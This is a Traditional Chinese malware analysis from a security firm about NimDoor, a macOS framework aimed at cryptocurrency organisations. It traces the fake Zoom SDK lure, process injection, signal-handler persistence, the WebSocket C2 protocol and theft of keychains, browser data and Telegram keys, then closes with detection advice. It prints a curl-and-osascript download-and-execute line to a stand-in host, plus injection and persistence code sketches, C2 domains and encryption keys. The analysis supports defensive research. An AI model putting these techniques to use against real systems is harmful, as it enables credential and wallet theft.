1 簡介

NimDoor是一個針對macOS系統的複雜惡意軟體框架,通過使用Nim程式語言展現出不尋常的跨平台能力。本技術分析根據觀察到的樣本,檢視其架構、持久機制和規避技術。該惡意軟體在macOS威脅設計方面展示了重大進展,包括先前在macOS惡意軟體中不常見的程序注入能力1、加密的WebSocket通訊(wss)以及利用信號處理器的創新持久機制4。該惡意軟體的主要目標包括竊取認證、加密貨幣錢包資料外洩,以及在受感染系統上建立長期存取,特別針對Web3和加密貨幣相關組織,如事件回應中所觀察到的18

NimDoor的技術重要性在於其模組化設計,結合AppleScript、Bash、C++和Nim編譯的二進位檔案,形成多階段攻擊鏈。此方法允許靈活的部署和執行流程,增加檢測和分析的複雜性16。使用Nim為threat actors提供了固有優勢,因為其跨平台編譯能力使單一程式庫可針對多個作業系統,同時生成的二進位檔案將開發者程式碼與執行時期庫在函數層面混合,增加了逆向工程的難度6

NimDoor來襲:如何防禦macOS新型跨平台威脅? | 資訊安全新聞

2 初始攻擊向量與傳遞

感染鏈始於複雜的社交工程手法,threat actors通過訊息平台(主要是Telegram)假冒可信聯繫人與受害者接觸。受害者被引導通過Calendly安排會議,隨後收到一封包含Zoom會議連結和執行所謂「Zoom SDK更新腳本」的指示的電子郵件16。惡意的AppleScript( zoom_sdk_support.scpt )使用大量空白行混淆(超過10,000行空白)來隱藏其惡意功能14。腳本的核心功能位於最後三行可執行程式碼中:

  1. --AppleScript
  2. -- 下載並執行外部惡意腳本(警告:不要執行)
  3. do shell script "curl -s https://malicious.site/update > /tmp/update; osascript /tmp/update"
  4. -- 刪除暫存檔案以掩蓋痕跡
  5. do shell script "rm /tmp/update"
  6. -- 開啟 Zoom 會議(可能用來分散注意)
  7. do shell script "open https://zoom.us/j/1234567890"

此腳本從攻擊者控制的域名(故意命名為類似合法Zoom基礎設施的域名,如 support.us05web-zoom[.]forum support.us05web-zoom[.]pro )取出並執行第二階段payload1。後續腳本下載包含合法Zoom重新導向連結的HTML檔案( check ),同時在背景啟動核心攻擊邏輯。這種雙重目的方法保持了合法性的外觀,同時啟用惡意活動110

3 執行鏈與規避技術

3.1 多階段Payload部署

初始入侵後,執行分為兩個平行鏈:

  1. C++載入器鏈( a 二進位檔案) :此通用Mach-O可執行檔案(臨時簽署為 InjectWithDyldArm64 )將加密的嵌入式payload( netchk )寫入磁碟。載入器需要一個密碼參數(例如 gift123$%^ )來使用PBKDF2與HMAC-SHA-256(重複10,000次)衍生32位元組key1。解密routine使用AES-CBC,帶有零填充(zero-filled)的初始化向量,處理16位元組區塊,通過重複多次解密兩個嵌入式二進位檔案:一個無害的 Target 可執行檔案和惡意的 trojan1_arm64 1
  2. 基於Nim的安裝程式鏈( installer 二進位檔案) :此Nim編譯的通用Mach-O部署兩個額外的Nim二進位檔案: GoogIe LLC (故意使用大寫'I')和 CoreKitAgent 。這些檔案建立長期持久機制並形成NimDoor框架的核心46

3.2 程序注入技術

C++載入器( InjectWithDyldArm64 )執行複雜的注入序列:

  1. posix_spawnattr_init(&attrp);
  2. posix_spawnattr_setflags(&attrp, POSIX_SPAWN_START_SUSPENDED);
  3. posix_spawn(&pid, filename, 0, &attrp, argv_1, environ); // Launch Target suspended
  4. // ... Injection of trojan1_arm64 code into Target process ...
  5. kill(pid, SIGCONT); // Resume execution

此技術需要特定的權限( com.apple.security.cs.debugger com.apple.security.get-task-allow )以繞過macOS安全保護1。懸置程序技術(The suspended process technique)在macOS惡意軟體中極為罕見,顯示出顯著的規避能力投資。一旦注入, trojan1_arm64 啟動與命令與控制伺服器的安全WebSocket(wss)通訊,位於 wss://firstfromsep[.]online/client ,使用三層RC4加密,帶有不同的key,然後進行base64編碼16

3.3 反分析措施

NimDoor結合了多種進階規避技術:

  • 執行延遲 :組件在啟動前等待10分鐘,以繞過沙箱檢測5
  • 程式碼混淆 :AppleScript填充(超過10,000行空白)、加密設定和動態生成檔案路徑14
  • 二進位檔案偽裝 :使用欺騙性命名慣例( GoogIe LLC )以模仿合法程序4
  • 跨平台編譯 :Nim編譯生成的二進位檔案將開發者程式碼與執行時期程式庫在函數層面交織,增加靜態分析的複雜性6

4 惡意軟體核心功能

4.1 持久機制

installer 二進位檔案通過 GoogIe LLC 建立持久性,收集環境資料,生成十六進位編碼的設定檔案,並安裝LaunchAgent( com.google.update.plist )以在登入時自動執行4 CoreKitAgent 組件實現了先前未在macOS惡意軟體中記錄的創新信號基於持久機制。它為SIGINT和SIGTERM信號(通常用於程序終止)安裝自訂處理器14。當觸發時,這些處理器執行重新安裝routine:

  1. void signal_handler(int sig) {
  2. if (sig == SIGINT || sig == SIGTERM) {
  3. write_launch_agent(); // 重寫持久性plist
  4. redeploy_loader(); // 重新安裝GoogIe LLC
  5. redeploy_corekitagent(); // 重新安裝自身
  6. add_execution_permissions(); // 通過user95startup95mainZutils_u32()設定可執行標誌
  7. }
  8. }

此設計確保用戶啟動的終止或系統重新啟動會自動重新部署核心組件,顯著提高對手動修復嘗試的抵抗力46。該代理作為事件驅動的二進位檔案,使用macOS的 kqueue 機制進行非同步執行管理,實現具有硬編碼狀態轉換表的10案例狀態機,以靈活控制流程4

4.2 命令與控制通訊

trojan1_arm64 通過WebSocket Secure(wss)使用結構化JSON通訊協定,帶有多層加密。訊息結構遵循以下格式:

{"name":"","payload":"","target":""}

name 欄位支援兩種主要操作: auth 用於認證, message 用於命令執行1。在認證期間( "name":"auth" ),payload包含帶有唯一識別碼( uid )和其加密對應物( cipher )的JSON結構,使用key Ej7bx@YRG2uUhya#50Yt*ao 進行加密。命令執行訊息( "name":"message" )使用不同的key( 3LZu5H$yF^FSwPu3SqbL*sK ),並包含指令碼:

命令 代碼 功能
execCmd 12 data 欄位執行任意shell命令
setCwd 34 更改當前工作目錄
getCwd 78 取得當前工作目錄
getSysInfo 234 收集系統metadata(開機時間、用戶名、macOS版本等)

命令結果以結構化回應格式返回: {"cmd":,"err":,"data":""} ,其中 cmd 引用執行的命令代碼, err 包含錯誤代碼, data 保存命令輸出1。此外, CoreKitAgent 解碼並執行十六進位編碼的AppleScript,每30秒向攻擊者基礎設施beacon,提供獨立於主要C2通道的輕量後門功能46

5 資料外洩機制

最後階段部署兩個專門的Bash腳本進行目標資料收集:

5.1 upl 認證竊取器

此腳本系統性地從多個來源收集並封裝認證:

  • 瀏覽器資料 :針對Arc、Brave、Firefox、Google Chrome和Microsoft Edge。將瀏覽器artifacts複製到 /private/var/tmp/uplex_ / / 1
  • 金鑰鏈檔案 :外洩 /Library/Keychains/System.keychain ~/Library/Keychains/login.keychain-db 14
  • Shell歷史記錄 :收集 ~/.bash_history ~/.zsh_history ~/.zsh/ 目錄1

資料壓縮使用 ditto -ck ,然後通過 curl 外洩到預定的C2端點( dataupload[.]store 16

5.2 tlgrm Telegram竊取

此腳本專門針對Telegram資料,包括:

  • 加密的本機資料庫( postbox 目錄)
  • Decryption key( .tempkeyEncrypted 檔案)1

結合加密資料庫和Decryption key的竊取,使threat actors即使在初始入侵後仍能存取歷史訊息內容18。這顯示出對應用程式資料儲存機制的深入理解和針對性資料收集策略。

6 防禦建議

根據對NimDoor技術的分析,防禦者應實施以下技術對策:

6.1 檢測策略

  • 程序監控 :檢測涉及 osascript curl osascript 與臨時檔案的連續執行的可疑程序樹1
  • 檔案系統監控 :對寫入 /private/var/tmp/ 的檔案發出警報,檔案名稱包括 a installer netchk trojan1_arm64 14
  • 權限監控 :標記在開發環境之外具有除錯器權限( com.apple.security.cs.debugger )的程序1
  • 網路監控 :檢測到已知C2網域的wss連線(例如 firstfromsep[.]online dataupload[.]store 16
  • 信號處理分析 :監控非用戶程序中的意外SIGINT/SIGTERM處理器4

6.2 緩解技術

  • 應用程式白名單 :限制僅執行來自驗證開發者的簽署應用程式,阻止未簽署的Mach-O二進位檔案8
  • Telegram安全性 :審查聯繫人是否有推送可執行檔案的新增設定檔8
  • Zoom更新政策 :強制Zoom更新僅來自 zoom.us 域名810
  • 瀏覽器擴充功能審查 :移除未使用的加密貨幣錢包擴充功能並實施企業白名單5
  • 金鑰鏈存取限制 :對金鑰鏈存取嘗試實施強制用戶授權提示
  • 腳本執行控制 :部署分析AppleScript和Bash腳本的解決方案,檢查混淆模式(過多空白、編碼字串)

7 結論

NimDoor通過其跨平台能力、先進持久機制和模組化資料外洩技術,代表了macOS惡意軟體複雜性的重大進化。其技術創新包括:

  1. 基於信號的持久機置 :通過程序終止嘗試使用SIGINT/SIGTERM處理器維持持久性,提供對傳統修復方法的顯著抵抗力4
  2. 跨語言整合 :結合AppleScript(初始存取)、Bash(資料竊取)、C++(程序注入)和Nim(核心payload),展示了先前在macOS威脅中不常見的複雜多工具整合16
  3. 加密WebSocket C2 :使用wss協定進行命令與控制,提供與合法網路流量混合的加密通訊,增加基於網路的檢測難度16
  4. 反鑑識資料收集 :針對加密資料庫( postbox )和 Decryption key( .tempkeyEncrypted )的竊取展示了進階資料收集技術1

Nim基於macOS惡意軟體的出現標誌著進攻工具向跨平台語言的更廣泛轉變。該語言生成高效原生二進位檔案,具備複雜的控制流程和編譯時期函數執行,為尋求規避靜態分析的惡意軟體開發者提供了顯著優勢6。防禦者必須調整安全工具以有效分析Nim編譯的二進位檔案,並開發專注於此威脅中展示的新穎持久性和注入技術的行為檢測能力。未來研究應探索Nim惡意軟體的自動化分析框架,並開發針對信號處理器基於持久機制的專用檢測規則,這些機制可能在進階macOS威脅中變得更普遍。

Copyright © 2025 版權所有 翊天科技有限公司